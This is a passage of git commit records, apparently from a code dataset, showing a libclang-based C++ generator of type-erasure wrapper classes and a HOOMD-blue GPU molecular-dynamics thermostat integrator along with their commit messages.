{\n std::cout << \" \";\n }\n\n std::cout << c_str;\n }\n\n free_tokens(data.tu, tokens);\n\n std::cout << \"\\n\"\n << indent(data) << \"{\\n\"\n << indent(data) << \"public:\\n\";\n\n const char* public_interface[] = {\n 0,\n \"any_printable () = default;\",\n 0,\n \"template <typename T_T__>\",\n \"any_printable (T_T__ value) :\",\n \" handle_ (\",\n \" std::make_shared<\",\n \" handle<typename std::remove_reference<T_T__>::type>\",\n \" >(std::forward<T_T__>(value))\",\n \" )\",\n \"{}\",\n 0,\n \"any_printable (any_printable && rhs) noexcept = default;\",\n 0,\n \"template <typename T_T__>\",\n \"any_printable & operator= (T_T__ value)\",\n \"{\",\n \" if (handle_.unique())\",\n \" *handle_ = std::forward<T_T__>(value);\",\n \" else if (!handle_)\",\n \" handle_ = std::make_shared<T_T__>(std::forward<T_T__>(value));\",\n \" return *this;\",\n \"}\",\n 0,\n \"any_printable & operator= (any_printable && rhs) noexcept = default;\"\n };\n\n print_lines(data,\n public_interface,\n sizeof(public_interface) \/ sizeof(const char*));\n}\n\nvoid close_struct (const client_data & data)\n{\n std::cout << \"\\n\"\n << indent(data) << \"private:\\n\";\n\n const char* handle_base_preamble[] = {\n 0,\n \"struct handle_base\",\n \"{\",\n \" virtual ~handle_base () {}\",\n \" virtual std::shared_ptr<handle_base> close () const = 0;\",\n 0\n };\n\n print_lines(data,\n handle_base_preamble,\n sizeof(handle_base_preamble) \/ sizeof(const char*));\n\n for (auto & member : data.member_functions) {\n std::cout << indent(data) << indentation << indentation\n << \"virtual \" << member[0] << \" = 0;\\n\";\n }\n\n const char* handle_preamble[] = {\n 0,\n \"};\",\n 0,\n \"template <typename T_T__>\",\n \"struct handle :\",\n \" handle_base\",\n \"{\",\n \" template <typename T_T__>\",\n \" handle (T_T__ value,\",\n \" typename std::enable_if<\",\n \" std::is_reference<U_U__>::value\",\n \" >::type* = 0) :\",\n \" value_ (value)\",\n \" {}\",\n 0,\n \" template <typename U_U__ = T_T__>\",\n \" handle (T_T__ value,\",\n \" typename std::enable_if<\",\n \" !std::is_reference<U_U__>::value,\",\n \" int\",\n \" >::type* = 0) noexcept :\",\n \" value_ (std::move(value))\",\n \" {}\",\n 0,\n \" virtual std::shared_ptr<handle_base> clone () const\",\n \" { return std::make_shared<handle>(value_); }\"\n };\n\n print_lines(data,\n handle_preamble,\n sizeof(handle_preamble) \/ sizeof(const char*));\n\n for (auto & member : data.member_functions) {\n std::cout << \"\\n\"\n << indent(data) << indentation << indentation\n << \"virtual \" << member[0] << \"\\n\"\n << indent(data) << indentation << indentation\n << \"{ \" << member[2] << \"value_.\" << member[3]\n << \"( \" << member[1] << \" ); }\\n\";\n }\n\n const char* handle_postamble[] = {\n 0,\n \" T_T__ value_;\",\n \"};\",\n 0,\n \"template <typename T_T__>\",\n \"struct handle<std::reference_wrapper<T_T__>> :\",\n \" handle<T_T__ &>\",\n \"{\",\n \" handle (std::reference_wrapper<T_T__> ref) :\",\n \" handle<T_T__ &> (ref.get())\",\n \" {}\",\n \"};\",\n 0,\n \"const handle_base & read () const\",\n \"{ return *handle_; }\",\n 0,\n \"handle_base & write ()\",\n \"{\",\n \" if (!handle_.unique())\",\n \" handle_ = handle_->clone();\",\n \" return *handle_;\",\n \"}\",\n 0,\n \"std::shared_ptr<handle_base> handle_;\"\n };\n\n print_lines(data,\n handle_postamble,\n sizeof(handle_postamble) \/ sizeof(const char*));\n\n std::cout << \"\\n\"\n << indent(data) << \"};\\n\";\n}\n\nvoid print_member_function (const client_data & data, CXCursor cursor)\n{\n std::cout << \"\\n\"\n << std::string(indent_spaces, ' ') << indent(data)\n << data.member_functions.back()[0];\n\n std::cout << \"\\n\" << std::string(indent_spaces, ' ') << indent(data)\n << \"{ assert(handle_); \" << data.member_functions.back()[2]\n << \"handle_->\"\n << clang_getCString(clang_getCursorSpelling(cursor))\n << \"( \" << data.member_functions.back()[1] << \" ); }\\n\";\n}\n\nvoid open_namespace (const client_data & data, CXCursor namespace_)\n{\n std::cout\n << \"\\n\"\n << indent(data)\n << \"namespace \"\n << clang_getCString(clang_getCursorSpelling(namespace_))\n << \" {\";\n}\n\nvoid close_namespace (const client_data & data)\n{ std::cout << \"\\n\" << indent(data) << \"}\\n\"; }\n\nCXChildVisitResult\nvisitor (CXCursor cursor, CXCursor parent, CXClientData data_)\n{\n client_data & data = *static_cast<client_data*>(data_);\n\n CXCursor null_cursor = clang_getNullCursor();\n\n \/\/ close open namespaces we have left\n CXCursor enclosing_namespace = parent;\n while (!clang_equalCursors(enclosing_namespace, tu_cursor) &&\n clang_getCursorKind(enclosing_namespace) != CXCursor_Namespace) {\n enclosing_namespace =\n clang_getCursorSemanticParent(enclosing_namespace);\n }\n if (!clang_equalCursors(enclosing_namespace, tu_cursor) &&\n clang_getCursorKind(enclosing_namespace) == CXCursor_Namespace) {\n while (!data.current_namespaces.empty() &&\n !clang_equalCursors(enclosing_namespace,\n data.current_namespaces.back())) {\n data.current_namespaces.pop_back();\n close_namespace(data);\n }\n }\n\n \/\/ close open struct if we have left it\n CXCursor enclosing_struct = parent;\n while (!clang_equalCursors(enclosing_struct, tu_cursor) &&\n !struct_kind(clang_getCursorKind(enclosing_struct))) {\n enclosing_struct = clang_getCursorSemanticParent(enclosing_struct);\n }\n if (!clang_Cursor_isNull(data.current_struct) &&\n !clang_equalCursors(enclosing_struct, data.current_struct)) {\n data.current_struct = null_cursor;\n close_struct(data);\n data.member_functions.clear();\n }\n\n CXCursorKind kind = clang_getCursorKind(cursor);\n if (kind == CXCursor_Namespace) {\n CXSourceLocation location = clang_getCursorLocation(cursor);\n const bool from_main_file = clang_Location_isFromMainFile(location);\n if (from_main_file) {\n print_headers(data);\n open_namespace(data, cursor);\n data.current_namespaces.push_back(cursor);\n }\n return CXChildVisit_Recurse;\n } else if (struct_kind(kind)) {\n if (clang_Cursor_isNull(data.current_struct)) {\n print_headers(data);\n data.current_struct = cursor;\n open_struct(data, cursor);\n return CXChildVisit_Recurse;\n }\n } else if (kind == CXCursor_CXXMethod) {\n std::pair<CXToken*, unsigned int> tokens = get_tokens(data.tu, cursor);\n\n const std::string open_brace = \"{\";\n const std::string semicolon = \";\";\n\n std::string str;\n\n for (unsigned int i = 0; i < tokens.second; ++i) {\n CXString spelling =\n clang_getTokenSpelling(data.tu, tokens.first[i]);\n\n const char* c_str = clang_getCString(spelling);\n\n if (c_str == open_brace || c_str == semicolon)\n break;\n\n if (i)\n str += \" \";\n\n str += c_str;\n }\n\n std::string args;\n\n const int num_args = clang_Cursor_getNumArguments(cursor);\n for (int i = 0; i < num_args; ++i) {\n if (i)\n args += \", \";\n CXCursor arg_cursor = clang_Cursor_getArgument(cursor, i);\n args += clang_getCString(clang_getCursorSpelling(arg_cursor));\n }\n\n const char* return_str =\n clang_getCursorResultType(cursor).kind == CXType_Void ?\n \"\" :\n \"return \";\n\n const char* function_name =\n clang_getCString(clang_getCursorSpelling(cursor));\n\n free_tokens(data.tu, tokens);\n\n data.member_functions.push_back({str, args, return_str, function_name});\n\n print_member_function(data, cursor);\n }\n\n return CXChildVisit_Continue;\n}\n\nint main (int argc, char* argv[])\n{\n CXIndex index = clang_createIndex(0, 1);\n CXTranslationUnit tu = clang_parseTranslationUnit(\n index,\n 0,\n argv,\n argc,\n 0,\n 0,\n CXTranslationUnit_DetailedPreprocessingRecord\n );\n\n const char* filename =\n clang_getCString(clang_getTranslationUnitSpelling(tu));\n\n client_data data = {tu, {}, clang_getNullCursor(), {}, false, filename};\n\n tu_cursor = clang_getTranslationUnitCursor(tu);\n clang_visitChildren(tu_cursor, visitor, &data);\n\n if (!clang_Cursor_isNull(data.current_struct))\n close_struct(data);\n\n while (!data.current_namespaces.empty()) {\n data.current_namespaces.pop_back();\n close_namespace(data);\n }\n\n clang_disposeTranslationUnit(tu);\n clang_disposeIndex(index);\n\n return 0;\n}\n<commit_msg>Only process structs that originate in the TU's main file.<commit_after>#include <clang-c\/Index.h>\n#include <cstdio>\n\n#include <array>\n#include <iostream>\n#include <vector>\n\n\nnamespace {\n\n const unsigned int indent_spaces = 4;\n const std::string indentation(indent_spaces, ' ');\n\n}\n\nCXCursor tu_cursor;\n\nstruct client_data\n{\n CXTranslationUnit tu;\n std::vector<CXCursor> current_namespaces;\n CXCursor current_struct;\n \/\/ function signature, forwarding call arguments, optional return\n \/\/ keyword, and function name\n std::vector<std::array<std::string, 4>> member_functions;\n bool printed_headers;\n const char* filename;\n};\n\nstd::pair<CXToken*, unsigned int>\nget_tokens (CXTranslationUnit tu, CXCursor cursor)\n{\n CXSourceRange range = clang_getCursorExtent(cursor);\n CXSourceLocation start = clang_getRangeStart(range);\n CXSourceLocation end = clang_getRangeEnd(range);\n unsigned int start_offset, end_offset;\n\n std::pair<CXToken*, unsigned int> retval(0, 0);\n clang_tokenize(tu, range, &retval.first, &retval.second);\n\n return retval;\n}\n\nvoid\nfree_tokens (CXTranslationUnit tu, std::pair<CXToken*, unsigned int> tokens)\n{ clang_disposeTokens(tu, tokens.first, tokens.second); }\n\nvoid print_tokens (CXTranslationUnit tu, CXCursor cursor)\n{\n std::pair<CXToken*, unsigned int> tokens = get_tokens(tu, cursor);\n\n for (unsigned int i = 0; i < tokens.second; ++i) {\n if (i)\n std::cout << \" \";\n CXString spelling = clang_getTokenSpelling(tu, tokens.first[i]);\n std::cout << clang_getCString(spelling);\n }\n std::cout << \"\\n\";\n\n free_tokens(tu, tokens);\n}\n\nbool struct_kind (CXCursorKind kind)\n{\n switch (kind) {\n case CXCursor_ClassDecl:\n case CXCursor_StructDecl:\n case CXCursor_ClassTemplate:\n case CXCursor_ClassTemplatePartialSpecialization:\n return true;\n }\n return false;\n}\n\nstd::string indent (const client_data & data)\n{\n std::size_t size = data.current_namespaces.size();\n return std::string(size * indent_spaces, ' ');\n}\n\nvoid print_lines (const client_data & data,\n const char** lines,\n std::size_t num_lines)\n{\n for (unsigned int i = 0; i < num_lines; ++i) {\n if (lines[i])\n std::cout << indent(data) << indentation << lines[i] << \"\\n\";\n else\n std::cout << \"\\n\";\n }\n}\n\nvoid print_headers (client_data & data)\n{\n if (data.printed_headers)\n return;\n\n std::cout << \"#include <algorithm>\\n\"\n << \"#include <functional>\\n\"\n << \"#include <memory>\\n\"\n << \"#include <type_traits>\\n\"\n << \"#include <utility>\\n\"\n << \"\\n\";\n\n data.printed_headers = true;\n}\n\nvoid open_struct (const client_data & data, CXCursor struct_cursor)\n{\n std::pair<CXToken*, unsigned int> tokens =\n get_tokens(data.tu, struct_cursor);\n\n std::cout << \"\\n\" << indent(data);\n\n const std::string open_brace = \"{\";\n const std::string struct_ = \"struct\";\n const std::string class_ = \"class\";\n\n for (unsigned int i = 0; i < tokens.second; ++i) {\n CXString spelling = clang_getTokenSpelling(data.tu, tokens.first[i]);\n\n const char* c_str = clang_getCString(spelling);\n\n if (c_str == open_brace)\n break;\n\n if (c_str == struct_ || c_str == class_) {\n std::cout << \"\\n\" << indent(data);\n } else if (i) {\n std::cout << \" \";\n }\n\n std::cout << c_str;\n }\n\n free_tokens(data.tu, tokens);\n\n std::cout << \"\\n\"\n << indent(data) << \"{\\n\"\n << indent(data) << \"public:\\n\";\n\n const char* public_interface[] = {\n 0,\n \"any_printable () = default;\",\n 0,\n \"template <typename T_T__>\",\n \"any_printable (T_T__ value) :\",\n \" handle_ (\",\n \" std::make_shared<\",\n \" handle<typename std::remove_reference<T_T__>::type>\",\n \" >(std::forward<T_T__>(value))\",\n \" )\",\n \"{}\",\n 0,\n \"any_printable (any_printable && rhs) noexcept = default;\",\n 0,\n \"template <typename T_T__>\",\n \"any_printable & operator= (T_T__ value)\",\n \"{\",\n \" if (handle_.unique())\",\n \" *handle_ = std::forward<T_T__>(value);\",\n \" else if (!handle_)\",\n \" handle_ = std::make_shared<T_T__>(std::forward<T_T__>(value));\",\n \" return *this;\",\n \"}\",\n 0,\n \"any_printable & operator= (any_printable && rhs) noexcept = default;\"\n };\n\n print_lines(data,\n public_interface,\n sizeof(public_interface) \/ sizeof(const char*));\n}\n\nvoid close_struct (const client_data & data)\n{\n std::cout << \"\\n\"\n << indent(data) << \"private:\\n\";\n\n const char* handle_base_preamble[] = {\n 0,\n \"struct handle_base\",\n \"{\",\n \" virtual ~handle_base () {}\",\n \" virtual std::shared_ptr<handle_base> close () const = 0;\",\n 0\n };\n\n print_lines(data,\n handle_base_preamble,\n sizeof(handle_base_preamble) \/ sizeof(const char*));\n\n for (auto & member : data.member_functions) {\n std::cout << indent(data) << indentation << indentation\n << \"virtual \" << member[0] << \" = 0;\\n\";\n }\n\n const char* handle_preamble[] = {\n 0,\n \"};\",\n 0,\n \"template <typename T_T__>\",\n \"struct handle :\",\n \" handle_base\",\n \"{\",\n \" template <typename T_T__>\",\n \" handle (T_T__ value,\",\n \" typename std::enable_if<\",\n \" std::is_reference<U_U__>::value\",\n \" >::type* = 0) :\",\n \" value_ (value)\",\n \" {}\",\n 0,\n \" template <typename U_U__ = T_T__>\",\n \" handle (T_T__ value,\",\n \" typename std::enable_if<\",\n \" !std::is_reference<U_U__>::value,\",\n \" int\",\n \" >::type* = 0) noexcept :\",\n \" value_ (std::move(value))\",\n \" {}\",\n 0,\n \" virtual std::shared_ptr<handle_base> clone () const\",\n \" { return std::make_shared<handle>(value_); }\"\n };\n\n print_lines(data,\n handle_preamble,\n sizeof(handle_preamble) \/ sizeof(const char*));\n\n for (auto & member : data.member_functions) {\n std::cout << \"\\n\"\n << indent(data) << indentation << indentation\n << \"virtual \" << member[0] << \"\\n\"\n << indent(data) << indentation << indentation\n << \"{ \" << member[2] << \"value_.\" << member[3]\n << \"( \" << member[1] << \" ); }\\n\";\n }\n\n const char* handle_postamble[] = {\n 0,\n \" T_T__ value_;\",\n \"};\",\n 0,\n \"template <typename T_T__>\",\n \"struct handle<std::reference_wrapper<T_T__>> :\",\n \" handle<T_T__ &>\",\n \"{\",\n \" handle (std::reference_wrapper<T_T__> ref) :\",\n \" handle<T_T__ &> (ref.get())\",\n \" {}\",\n \"};\",\n 0,\n \"const handle_base & read () const\",\n \"{ return *handle_; }\",\n 0,\n \"handle_base & write ()\",\n \"{\",\n \" if (!handle_.unique())\",\n \" handle_ = handle_->clone();\",\n \" return *handle_;\",\n \"}\",\n 0,\n \"std::shared_ptr<handle_base> handle_;\"\n };\n\n print_lines(data,\n handle_postamble,\n sizeof(handle_postamble) \/ sizeof(const char*));\n\n std::cout << \"\\n\"\n << indent(data) << \"};\\n\";\n}\n\nvoid print_member_function (const client_data & data, CXCursor cursor)\n{\n std::cout << \"\\n\"\n << std::string(indent_spaces, ' ') << indent(data)\n << data.member_functions.back()[0];\n\n std::cout << \"\\n\" << std::string(indent_spaces, ' ') << indent(data)\n << \"{ assert(handle_); \" << data.member_functions.back()[2]\n << \"handle_->\"\n << clang_getCString(clang_getCursorSpelling(cursor))\n << \"( \" << data.member_functions.back()[1] << \" ); }\\n\";\n}\n\nvoid open_namespace (const client_data & data, CXCursor namespace_)\n{\n std::cout\n << \"\\n\"\n << indent(data)\n << \"namespace \"\n << clang_getCString(clang_getCursorSpelling(namespace_))\n << \" {\";\n}\n\nvoid close_namespace (const client_data & data)\n{ std::cout << \"\\n\" << indent(data) << \"}\\n\"; }\n\nCXChildVisitResult\nvisitor (CXCursor cursor, CXCursor parent, CXClientData data_)\n{\n client_data & data = *static_cast<client_data*>(data_);\n\n CXCursor null_cursor = clang_getNullCursor();\n\n \/\/ close open namespaces we have left\n CXCursor enclosing_namespace = parent;\n while (!clang_equalCursors(enclosing_namespace, tu_cursor) &&\n clang_getCursorKind(enclosing_namespace) != CXCursor_Namespace) {\n enclosing_namespace =\n clang_getCursorSemanticParent(enclosing_namespace);\n }\n if (!clang_equalCursors(enclosing_namespace, tu_cursor) &&\n clang_getCursorKind(enclosing_namespace) == CXCursor_Namespace) {\n while (!data.current_namespaces.empty() &&\n !clang_equalCursors(enclosing_namespace,\n data.current_namespaces.back())) {\n data.current_namespaces.pop_back();\n close_namespace(data);\n }\n }\n\n \/\/ close open struct if we have left it\n CXCursor enclosing_struct = parent;\n while (!clang_equalCursors(enclosing_struct, tu_cursor) &&\n !struct_kind(clang_getCursorKind(enclosing_struct))) {\n enclosing_struct = clang_getCursorSemanticParent(enclosing_struct);\n }\n if (!clang_Cursor_isNull(data.current_struct) &&\n !clang_equalCursors(enclosing_struct, data.current_struct)) {\n data.current_struct = null_cursor;\n close_struct(data);\n data.member_functions.clear();\n }\n\n CXSourceLocation location = clang_getCursorLocation(cursor);\n const bool from_main_file = clang_Location_isFromMainFile(location);\n\n CXCursorKind kind = clang_getCursorKind(cursor);\n if (kind == CXCursor_Namespace) {\n if (from_main_file) {\n print_headers(data);\n open_namespace(data, cursor);\n data.current_namespaces.push_back(cursor);\n }\n return CXChildVisit_Recurse;\n } else if (!from_main_file) {\n return CXChildVisit_Continue;\n } else if (struct_kind(kind)) {\n if (clang_Cursor_isNull(data.current_struct)) {\n print_headers(data);\n data.current_struct = cursor;\n open_struct(data, cursor);\n return CXChildVisit_Recurse;\n }\n } else if (kind == CXCursor_CXXMethod) {\n std::pair<CXToken*, unsigned int> tokens = get_tokens(data.tu, cursor);\n\n const std::string open_brace = \"{\";\n const std::string semicolon = \";\";\n\n std::string str;\n\n for (unsigned int i = 0; i < tokens.second; ++i) {\n CXString spelling =\n clang_getTokenSpelling(data.tu, tokens.first[i]);\n\n const char* c_str = clang_getCString(spelling);\n\n if (c_str == open_brace || c_str == semicolon)\n break;\n\n if (i)\n str += \" \";\n\n str += c_str;\n }\n\n std::string args;\n\n const int num_args = clang_Cursor_getNumArguments(cursor);\n for (int i = 0; i < num_args; ++i) {\n if (i)\n args += \", \";\n CXCursor arg_cursor = clang_Cursor_getArgument(cursor, i);\n args += clang_getCString(clang_getCursorSpelling(arg_cursor));\n }\n\n const char* return_str =\n clang_getCursorResultType(cursor).kind == CXType_Void ?\n \"\" :\n \"return \";\n\n const char* function_name =\n clang_getCString(clang_getCursorSpelling(cursor));\n\n free_tokens(data.tu, tokens);\n\n data.member_functions.push_back({str, args, return_str, function_name});\n\n print_member_function(data, cursor);\n }\n\n return CXChildVisit_Continue;\n}\n\nint main (int argc, char* argv[])\n{\n CXIndex index = clang_createIndex(0, 1);\n CXTranslationUnit tu = clang_parseTranslationUnit(\n index,\n 0,\n argv,\n argc,\n 0,\n 0,\n CXTranslationUnit_DetailedPreprocessingRecord\n );\n\n const char* filename =\n clang_getCString(clang_getTranslationUnitSpelling(tu));\n\n client_data data = {tu, {}, clang_getNullCursor(), {}, false, filename};\n\n tu_cursor = clang_getTranslationUnitCursor(tu);\n clang_visitChildren(tu_cursor, visitor, &data);\n\n if (!clang_Cursor_isNull(data.current_struct))\n close_struct(data);\n\n while (!data.current_namespaces.empty()) {\n data.current_namespaces.pop_back();\n close_namespace(data);\n }\n\n clang_disposeTranslationUnit(tu);\n clang_disposeIndex(index);\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\nHighly Optimized Object-oriented Many-particle Dynamics -- Blue Edition\n(HOOMD-blue) Open Source Software License Copyright 2009-2014 The Regents of\nthe University of Michigan All rights reserved.\n\nHOOMD-blue may contain modifications (\"Contributions\") provided, and to which\ncopyright is held, by various Contributors who have granted The Regents of the\nUniversity of Michigan the right to modify and\/or distribute such Contributions.\n\nYou may redistribute, use, and create derivate works of HOOMD-blue, in source\nand binary forms, provided you abide by the following conditions:\n\n* Redistributions of source code must retain the above copyright notice, this\nlist of conditions, and the following disclaimer both in the code and\nprominently in any materials provided with the distribution.\n\n* Redistributions in binary form must reproduce the above copyright notice, this\nlist of conditions, and the following disclaimer in the documentation and\/or\nother materials provided with the distribution.\n\n* All publications and presentations based on HOOMD-blue, including any reports\nor published results obtained, in whole or in part, with HOOMD-blue, will\nacknowledge its use according to the terms posted at the time of submission on:\nhttp:\/\/codeblue.umich.edu\/hoomd-blue\/citations.html\n\n* Any electronic documents citing HOOMD-Blue will link to the HOOMD-Blue website:\nhttp:\/\/codeblue.umich.edu\/hoomd-blue\/\n\n* Apart from the above required attributions, neither the name of the copyright\nholder nor the names of HOOMD-blue's contributors may be used to endorse or\npromote products derived from this software without specific prior written\npermission.\n\nDisclaimer\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS ``AS IS'' AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND\/OR ANY\nWARRANTIES THAT THIS SOFTWARE IS FREE OF INFRINGEMENT ARE DISCLAIMED.\n\nIN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\nINDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\nBUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\nLIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\nOR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\nADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n\/\/ Maintainer: jglaser\n\n#ifdef WIN32\n#pragma warning( push )\n#pragma warning( disable : 4244 )\n#endif\n\n#include <boost\/python.hpp>\nusing namespace boost::python;\n#include <boost\/bind.hpp>\nusing namespace boost;\n\n#include \"TwoStepNVTMTKGPU.h\"\n#include \"TwoStepNVTMTKGPU.cuh\"\n#include \"TwoStepNPTMTKGPU.cuh\"\n\n#ifdef ENABLE_MPI\n#include \"Communicator.h\"\n#include \"HOOMDMPI.h\"\n#endif\n\n\/*! \\file TwoStepNVTMTKGPU.h\n \\brief Contains code for the TwoStepNVTMTKGPU class\n*\/\n\n\/*! \\param sysdef SystemDefinition this method will act on. Must not be NULL.\n \\param group The group of particles this integration method is to work on\n \\param thermo compute for thermodynamic quantities\n \\param tau NVT period\n \\param T Temperature set point\n \\param suffix Suffix to attach to the end of log quantity names\n*\/\nTwoStepNVTMTKGPU::TwoStepNVTMTKGPU(boost::shared_ptr<SystemDefinition> sysdef,\n boost::shared_ptr<ParticleGroup> group,\n boost::shared_ptr<ComputeThermo> thermo,\n Scalar tau,\n boost::shared_ptr<Variant> T,\n const std::string& suffix)\n : TwoStepNVTMTK(sysdef, group, thermo, tau, T, suffix)\n {\n \/\/ only one GPU is supported\n if (!exec_conf->isCUDAEnabled())\n {\n m_exec_conf->msg->error() << \"Creating a TwoStepNVTMTKPU when CUDA is disabled\" << endl;\n throw std::runtime_error(\"Error initializing TwoStepNVTMTKGPU\");\n }\n\n \/\/ initialize autotuner\n std::vector<unsigned int> valid_params;\n for (unsigned int block_size = 32; block_size <= 1024; block_size += 32)\n valid_params.push_back(block_size);\n\n m_tuner_one.reset(new Autotuner(valid_params, 5, 100000, \"nvt_mtk_step_one\", this->m_exec_conf));\n m_tuner_two.reset(new Autotuner(valid_params, 5, 100000, \"nvt_mtk_step_two\", this->m_exec_conf));\n\n m_reduction_block_size = 512;\n\n \/\/ this breaks memory scaling (calculate memory requirements from global group size)\n \/\/ unless we reallocate memory with every change of the maximum particle number\n m_num_blocks = m_group->getNumMembersGlobal() \/ m_reduction_block_size + 1;\n GPUArray< Scalar > scratch(m_num_blocks, exec_conf);\n m_scratch.swap(scratch);\n\n GPUArray< Scalar> temperature(1, exec_conf);\n m_temperature.swap(temperature);\n }\n\n\/*! \\param timestep Current time step\n \\post Particle positions are moved forward to timestep+1 and velocities to timestep+1\/2 per the Nose-Hoover method\n*\/\nvoid TwoStepNVTMTKGPU::integrateStepOne(unsigned int timestep)\n {\n unsigned int group_size = m_group->getNumMembers();\n if (group_size == 0)\n return;\n\n \/\/ profile this step\n if (m_prof)\n m_prof->push(exec_conf, \"NVT MTK step 1\");\n\n \/\/ compute the current thermodynamic properties\n m_thermo->compute(timestep);\n\n \/\/ compute temperature for the next half time step\n m_curr_T = m_thermo->getTemperature();\n\n \/\/ advance thermostat\n advanceThermostat(timestep, false);\n\n \/\/ access all the needed data\n ArrayHandle<Scalar4> d_pos(m_pdata->getPositions(), access_location::device, access_mode::readwrite);\n ArrayHandle<Scalar4> d_vel(m_pdata->getVelocities(), access_location::device, access_mode::readwrite);\n ArrayHandle<Scalar3> d_accel(m_pdata->getAccelerations(), access_location::device, access_mode::read);\n ArrayHandle<int3> d_image(m_pdata->getImages(), access_location::device, access_mode::readwrite);\n\n BoxDim box = m_pdata->getBox();\n ArrayHandle< unsigned int > d_index_array(m_group->getIndexArray(), access_location::device, access_mode::read);\n\n \/\/ perform the update on the GPU\n m_tuner_one->begin();\n gpu_nvt_mtk_step_one(d_pos.data,\n d_vel.data,\n d_accel.data,\n d_image.data,\n d_index_array.data,\n group_size,\n box,\n m_tuner_one->getParam(),\n m_exp_thermo_fac,\n m_deltaT);\n\n if (exec_conf->isCUDAErrorCheckingEnabled())\n CHECK_CUDA_ERROR();\n m_tuner_one->end();\n\n \/\/ done profiling\n if (m_prof)\n m_prof->pop(exec_conf);\n }\n\n\/*! \\param timestep Current time step\n \\post particle velocities are moved forward to timestep+1 on the GPU\n*\/\nvoid TwoStepNVTMTKGPU::integrateStepTwo(unsigned int timestep)\n {\n unsigned int group_size = m_group->getNumMembers();\n\n const GPUArray< Scalar4 >& net_force = m_pdata->getNetForce();\n\n \/\/ profile this step\n if (m_prof)\n m_prof->push(exec_conf, \"NVT MTK step 2\");\n\n ArrayHandle<Scalar4> d_vel(m_pdata->getVelocities(), access_location::device, access_mode::readwrite);\n ArrayHandle<Scalar3> d_accel(m_pdata->getAccelerations(), access_location::device, access_mode::readwrite);\n\n ArrayHandle<Scalar4> d_net_force(net_force, access_location::device, access_mode::read);\n ArrayHandle< unsigned int > d_index_array(m_group->getIndexArray(), access_location::device, access_mode::read);\n\n \/\/ perform the update on the GPU\n m_tuner_two->begin();\n gpu_nvt_mtk_step_two(d_vel.data,\n d_accel.data,\n d_index_array.data,\n group_size,\n d_net_force.data,\n m_tuner_two->getParam(),\n m_deltaT);\n\n if (exec_conf->isCUDAErrorCheckingEnabled())\n CHECK_CUDA_ERROR();\n\n m_tuner_two->end();\n\n {\n \/\/ recalulate temperature\n ArrayHandle<Scalar> d_temperature(m_temperature, access_location::device, access_mode::overwrite);\n ArrayHandle<Scalar> d_scratch(m_scratch, access_location::device, access_mode::overwrite);\n\n \/\/ update number of blocks to current group size\n m_num_blocks = m_group->getNumMembers() \/ m_reduction_block_size + 1;\n\n gpu_npt_mtk_temperature(d_temperature.data,\n d_vel.data,\n d_scratch.data,\n m_num_blocks,\n m_reduction_block_size,\n d_index_array.data,\n group_size,\n m_thermo->getNDOF());\n if (m_exec_conf->isCUDAErrorCheckingEnabled())\n CHECK_CUDA_ERROR();\n }\n\n \/\/ read back intermediate temperature from GPU\n {\n ArrayHandle<Scalar> h_temperature(m_temperature, access_location::host, access_mode::read);\n m_curr_T= *h_temperature.data;\n }\n\n #ifdef ENABLE_MPI\n if (m_comm)\n {\n MPI_Allreduce(MPI_IN_PLACE, &m_curr_T, 1, MPI_HOOMD_SCALAR, MPI_SUM, m_exec_conf->getMPICommunicator() );\n }\n #endif\n\n\n \/\/ get temperature and advance thermostat\n advanceThermostat(timestep+1,true);\n\n \/\/ rescale velocities\n gpu_npt_mtk_thermostat(d_vel.data,\n d_index_array.data,\n group_size,\n m_exp_thermo_fac);\n\n if (m_exec_conf->isCUDAErrorCheckingEnabled())\n CHECK_CUDA_ERROR();\n\n \/\/ done profiling\n if (m_prof)\n m_prof->pop(exec_conf);\n }\n\nvoid export_TwoStepNVTMTKGPU()\n {\n class_<TwoStepNVTMTKGPU, boost::shared_ptr<TwoStepNVTMTKGPU>, bases<TwoStepNVTMTK>, boost::noncopyable>\n (\"TwoStepNVTMTKGPU\", init< boost::shared_ptr<SystemDefinition>,\n boost::shared_ptr<ParticleGroup>,\n boost::shared_ptr<ComputeThermo>,\n Scalar,\n boost::shared_ptr<Variant>,\n const std::string&\n >())\n ;\n }\n\n#ifdef WIN32\n#pragma warning( pop )\n#endif\n<commit_msg>Minor strong scaling optimization in NVT MTK<commit_after>\/*\nHighly Optimized Object-oriented Many-particle Dynamics -- Blue Edition\n(HOOMD-blue) Open Source Software License Copyright 2009-2014 The Regents of\nthe University of Michigan All rights reserved.\n\nHOOMD-blue may contain modifications (\"Contributions\") provided, and to which\ncopyright is held, by various Contributors who have granted The Regents of the\nUniversity of Michigan the right to modify and\/or distribute such Contributions.\n\nYou may redistribute, use, and create derivate works of HOOMD-blue, in source\nand binary forms, provided you abide by the following conditions:\n\n* Redistributions of source code must retain the above copyright notice, this\nlist of conditions, and the following disclaimer both in the code and\nprominently in any materials provided with the distribution.\n\n* Redistributions in binary form must reproduce the above copyright notice, this\nlist of conditions, and the following disclaimer in the documentation and\/or\nother materials provided with the distribution.\n\n* All publications and presentations based on HOOMD-blue, including any reports\nor published results obtained, in whole or in part, with HOOMD-blue, will\nacknowledge its use according to the terms posted at the time of submission on:\nhttp:\/\/codeblue.umich.edu\/hoomd-blue\/citations.html\n\n* Any electronic documents citing HOOMD-Blue will link to the HOOMD-Blue website:\nhttp:\/\/codeblue.umich.edu\/hoomd-blue\/\n\n* Apart from the above required attributions, neither the name of the copyright\nholder nor the names of HOOMD-blue's contributors may be used to endorse or\npromote products derived from this software without specific prior written\npermission.\n\nDisclaimer\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER AND 